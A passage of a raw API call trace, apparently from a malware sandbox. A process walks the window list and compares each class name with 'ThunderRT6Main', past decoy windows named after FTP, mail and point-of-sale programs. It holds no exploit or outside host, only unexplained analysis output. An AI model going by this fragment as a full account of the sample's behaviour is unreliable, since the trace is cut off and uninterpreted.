lpClassName="IME") returned 3 [0131.617] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.618] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0131.618] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0131.618] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0131.618] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0131.618] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.618] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.618] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0131.618] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0131.618] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0131.618] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0131.618] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.618] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.619] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0131.619] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0131.619] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0131.619] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0131.619] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.619] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.619] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0131.619] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0131.619] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0131.620] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0131.620] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.620] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.620] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0131.620] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0131.620] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0131.620] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0131.620] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.620] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.620] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0131.620] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0131.620] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0131.621] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0131.621] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.621] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.621] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0131.621] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0131.621] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0131.621] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0131.621] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.621] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.622] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0131.622] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0131.622] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0131.622] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0131.622] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.622] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.622] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0131.622] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0131.622] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0131.622] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0131.622] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.623] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.623] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0131.623] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0131.623] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0131.623] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0131.638] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.638] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.638] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0131.638] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0131.638] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0131.639] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0131.649] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.649] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.649] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0131.649] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0131.650] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0131.650] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0131.650] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.650] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.650] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0131.650] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0131.650] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0131.650] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0131.650] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.650] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.651] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0131.651] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0131.651] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0131.651] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0131.651] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.651] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.651] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0131.651] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0131.651] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0131.652] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0131.652] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.652] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.652] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0131.652] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0131.652] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0131.652] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0131.652] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.652] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.653] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0131.653] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0131.653] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0131.653] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0131.653] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.653] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.653] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0131.653] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0131.653] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0131.654] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0131.654] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.654] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.654] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0131.654] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0131.654] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0131.654] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0131.655] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.655] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.656] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0131.656] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0131.656] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0131.656] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0131.656] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.656] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.656] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0131.656] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0131.656] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0131.657] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0131.657] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.657] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.657] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0131.657] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0131.657] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0131.657] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0131.657] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.657] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.657] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0131.657] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0131.657] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0131.658] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0131.658] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.658] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.658] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0131.658] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0131.658] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0131.658] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0131.658] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.658] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.659] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0131.659] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0131.659] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0131.659] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0131.659] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.659] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.659] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0131.659] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0131.659] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0131.660] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0131.660] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.660] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.660] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0131.660] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0131.660] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0131.660] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0131.660] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.660] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.661] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0131.661] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0131.661] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0131.661] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0131.661] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.661] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.661] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0131.661] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0131.661] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0131.662] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0131.662] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.662] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.662] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0131.662] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0131.662] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0131.662] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0131.662] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.662] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.663] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0131.663] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0131.663] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0131.663] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0131.663] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.663] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.663] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0131.663] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0131.663] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0131.663] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0131.663] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.663] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.664] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0131.664] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0131.664] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0131.664] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0131.664] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.664] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.664] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0131.664] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0131.664] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0131.665] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0131.665] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.665] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.665] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0131.665] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0131.665] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0131.665] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0131.665] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.665] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.666] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0131.666] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0131.666] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0131.666] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0131.666] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.666] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.666] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0131.666] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0131.666] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0131.667] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0131.667] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.667] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.667] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0131.667] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0131.667] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0131.667] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0131.667] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.667] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.667] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0131.667] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0131.668] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0131.668] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0131.668] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.668] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.668] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0131.668] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0131.668] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0131.668] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0131.668] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.668] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.669] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0131.669] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0131.669] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0131.669] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0131.669] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.669] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.669] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0131.669] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0131.669] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0131.670] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0131.670] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.670] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.670] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0131.670] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0131.670] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0131.670] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0131.670] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.670] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.671] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0131.671] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0131.671] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0131.671] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0131.671] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.671] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.671] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0131.671] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0131.671] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0131.671] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0131.672] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.672] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.672] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0131.672] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0131.672] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0131.672] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0131.672] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.672] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.672] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0131.672] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0131.672] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0131.673] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0131.673] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.673] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.673] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0131.673] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0131.673] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0131.673] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0131.673] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.673] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.674] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0131.674] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0131.674] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0131.674] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 